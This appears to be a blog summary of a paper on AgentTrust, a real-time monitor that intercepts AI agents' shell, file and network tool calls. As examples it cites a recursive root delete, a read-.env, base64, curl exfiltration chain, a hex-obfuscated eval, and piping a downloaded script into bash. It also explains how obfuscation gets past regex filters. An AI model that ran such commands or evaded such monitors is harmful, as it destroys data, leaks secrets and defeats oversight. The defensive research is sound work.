AgentTrust: Shielding AI Agents via Real-Time Semantic Interception
AgentTrust: Runtime Safety Evaluation and Interception for AI Agent Tool Use
AgentTrust is a real-time, semantics-aware safety interception framework designed to secure AI agent tool calls (file, shell, network, DB). It employs a hybrid approach combining structural rule-matching, deobfuscation, and a cache-aware LLM-as-Judge to achieve a 95.0% verdict accuracy with low-millisecond latency.
TL;DR
As AI agents transition from text generators to autonomous actors (executing shell commands and file Ops), the risk of catastrophic "accidental harm" scales exponentially. AgentTrust is a production-ready safety layer that intercepts tool calls in real-time. By combining a high-speed rule engine (170+ rules), multi-step attack tracking, and a novel incremental LLM-Judge, it hits a 95.0% accuracy rate with sub-millisecond core processing.
The "Action-Time" Safety Gap
Traditional LLM safety focuses on content moderation (refusing to write toxic text). However, for an agent like Claude Code or OpenDevin, the threat is functional:
- Accidental Harm: An over-eager planner running
rm -rf /instead of cleaning a sub-folder. - Semantic Exfiltration: Benign steps (read .env → base64 → curl) that together constitute a data breach.
- Obfuscation: Evasion techniques like
eval $(printf '\x72\x6d...')that bypass standard regex.
Existing infrastructure sandboxes (Docker/gVisor) are necessary but "dumb"—they can't tell if a legitimate POST request is actually exfiltrating your database credentials.
Methodology: The Eight-Component Shield
AgentTrust operates as a pipeline between the Agent and the Tool Runtime.

1. The ShellNormalizer (Deobfuscation)
Standard guardrails fail when an attacker uses environment variables or hex escapes. AgentTrust employs nine deobfuscation strategies (variable expansion, alias resolution, ANSI-C quoting) to rewrite commands into a "canonical" form before analysis. This component alone improved detection of adversarial payloads by 2.5x.
2. RiskChain: Detecting the "Long Game"
Individual actions are often benign. AgentTrust’s RiskChain uses greedy matching to track session history. It identifies sequences following MITRE-ATT&CK patterns, such as "Persistence Installation" (Download → Chmod → Execute), which would pass per-action filters but fail a session-level check.
3. Incremental LLM-as-Judge
For ambiguous cases (e.g., is a specific curl to an internal IP a legitimate health check or an SSRF attack?), the system calls an LLM. To solve the "Infinite Context" problem (where sessions grow to 100k+ tokens), it uses block-hash delta detection.
- How it works: It hashes blocks of the context and only sends the "delta" (new changes) to the LLM if the overlap is high, cutting token costs by ~87%.
Experimental Validation
The researchers tested AgentTrust against a variety of benchmarks and baselines, including Llama-Guard-3 and NeMo Guardrails.

- Efficiency: The rule-only path (95% accuracy) runs in 1.72ms, making it invisible to the user.
- Accuracy vs. LLM-only: A zero-shot DeepSeek-V3 judge only achieved 82.3% accuracy, proving that domain-specific rules and deobfuscation are superior to "raw" LLM reasoning for system safety.
- Fail-Safe Design: The framework includes 13 regression tests ensuring that if the LLM-Judge is unreachable or the analyzer crashes, the system defaults to
reviewrather thanallow.
Critical Insight: The Logic of SafeFix
One of the most practical features is SafeFix. Instead of just saying "No," AgentTrust proposes a safer alternative.
| Dangerous Action | Safer Alternative |
|---|---|
chmod 777 /var/www | chmod 755 /var/www |
curl http://x.sh | bash | curl -o s.sh && cat s.sh && bash |
This shifts safety from a "blocker" to a "collaborator," reducing developer friction while maintaining a high security posture.
Conclusion & Outlook
AgentTrust represents a shift toward Deterministic Safety for AI agents. While LLMs remain the brain, AgentTrust acts as the "nervous system" that provides reflexive protection.
Future Work: The authors aim to move toward AST-based (Abstract Syntax Tree) shell analysis to handle even deeper nested obfuscation and to expand the library of multi-step "trajectories" for more complex threat detection.
AgentTrust is open-sourced under AGPL-3.0 and supports the Model-Context-Protocol (MCP) for rapid integration.
